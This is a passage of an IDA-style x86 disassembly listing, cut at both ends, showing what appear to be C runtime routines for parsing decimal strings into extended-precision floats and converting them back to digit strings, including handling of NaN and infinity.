arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C538
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C538
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C538
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C534, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C538
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C534, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C534, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C534, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C534, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
